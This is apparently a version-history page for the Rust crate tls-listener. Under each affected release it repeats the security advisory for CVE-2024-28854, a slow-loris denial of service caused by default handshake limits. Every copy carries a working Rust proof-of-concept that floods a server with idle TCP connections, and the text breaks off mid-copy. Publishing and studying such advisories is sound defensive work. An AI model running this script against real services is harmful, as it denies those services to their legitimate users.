tls-listener

Version	Released
`0.11.2` unknown	Nov 22, 2025
`0.11.1` unknown	Nov 20, 2025
`0.11.0` unknown	Feb 16, 2025
`0.10.3` unknown	Jan 14, 2025
`0.10.2` unknown	Oct 31, 2024
`0.10.1` unknown	Jul 06, 2024
`0.10.0` unknown	Mar 15, 2024
`0.9.1` unknown 1 CVE	Dec 23, 2023
`0.9.0` unknown 1 CVE	Dec 05, 2023
`0.8.0` unknown 1 CVE	Oct 19, 2023
`0.7.0` unknown 1 CVE	Apr 01, 2023
`0.6.0` unknown 1 CVE	Dec 30, 2022
`0.5.1` unknown 1 CVE	Mar 22, 2022
`0.5.0` unknown 1 CVE	Mar 20, 2022
`0.4.3` unknown 1 CVE	Mar 20, 2022
`0.4.2` unknown 1 CVE	Mar 13, 2022
`0.4.1` unknown 1 CVE	Mar 09, 2022
`0.4.0` unknown 1 CVE	Feb 24, 2022
`0.3.0` unknown 1 CVE	Jan 19, 2022
`0.2.1` unknown 1 CVE	Jan 05, 2021
`0.2.0` unknown 1 CVE	Jan 02, 2021
`0.1.1` unknown 1 CVE	Feb 04, 2019
`0.1.0` unknown 1 CVE	Feb 01, 2019

0.11.2 unknown

Nov 22, 2025

0.11.1 unknown

Nov 20, 2025

0.11.0 unknown

Feb 16, 2025

0.10.3 unknown

Jan 14, 2025

0.10.2 unknown

Oct 31, 2024

0.10.1 unknown

Jul 06, 2024

0.10.0 unknown

Mar 15, 2024

0.9.1 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 23, 2023

0.9.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 05, 2023

0.8.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 19, 2023

0.7.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 01, 2023

0.6.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 30, 2022

0.5.1 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 22, 2022

0.5.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 20, 2022

0.4.3 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 20, 2022

0.4.2 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 13, 2022

0.4.1 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 09, 2022

0.4.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 24, 2022

0.3.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 19, 2022

0.2.1 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 05, 2021

0.2.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 02, 2021

0.1.1 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
